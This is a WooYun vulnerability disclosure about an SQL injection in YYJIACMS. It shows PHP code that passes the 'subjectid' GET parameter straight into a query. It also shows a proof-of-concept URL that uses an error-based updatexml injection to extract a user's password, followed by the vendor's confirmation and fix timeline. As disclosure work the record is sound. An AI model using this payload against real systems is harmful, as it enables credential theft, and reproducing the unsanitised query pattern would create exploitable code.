当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0106715

漏洞标题:YYJIACMS最新版sql注入

相关厂商:yyjia.com

漏洞作者: 牛肉包子

提交时间:2015-04-13 11:49

修复时间:2015-07-12 11:56

公开时间:2015-07-12 11:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-13: 细节已通知厂商并且等待厂商处理中
2015-04-13: 厂商已经确认,细节仅向厂商公开
2015-04-16: 细节向第三方安全合作伙伴开放
2015-06-07: 细节向核心白帽子及相关领域专家公开
2015-06-17: 细节向普通白帽子公开
2015-06-27: 细节向实习白帽子公开
2015-07-12: 细节向公众公开

简要描述:

rt

详细说明:

源码加密了,费了半天的劲才解密。
看到\source\cp_android_subdetail.php

if(!defined('IN_YYJIA')) 
{ exit('Access Denied'); }
$subinfos=array();
$subid=$_GET['subjectid'];
$sname=$_GET['sname'];
if(!$subid && !$sname)
{
showmessage("参数有误","/");
}
updateclick("subject","sname"); if($subid){ $sql="select * from subject where id=$subid and type=1 and subtype=1 and isverify=1"; }else{ $sql="select * from subject where engname='".$sname."' and type=1 and subtype=1 and isverify=1"; }


可以看到$subid直接进入了sql,从而造成注入

13.png


然后构造

http://127.0.0.1/yyjia/android.php?ac=subdetail&subjectid=-1 and updatexml(1,concat(0x17,(select left(password,31) from `user`+limit+0,1)),0)%23


14.png


成功爆出密码

漏洞证明:

14.png

修复方案:

inval

版权声明:转载请注明来源 牛肉包子@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-04-13 11:54

厂商回复:

谢谢,马上修复

最新状态:

2015-05-08:已经修复

2015-05-08:已经修复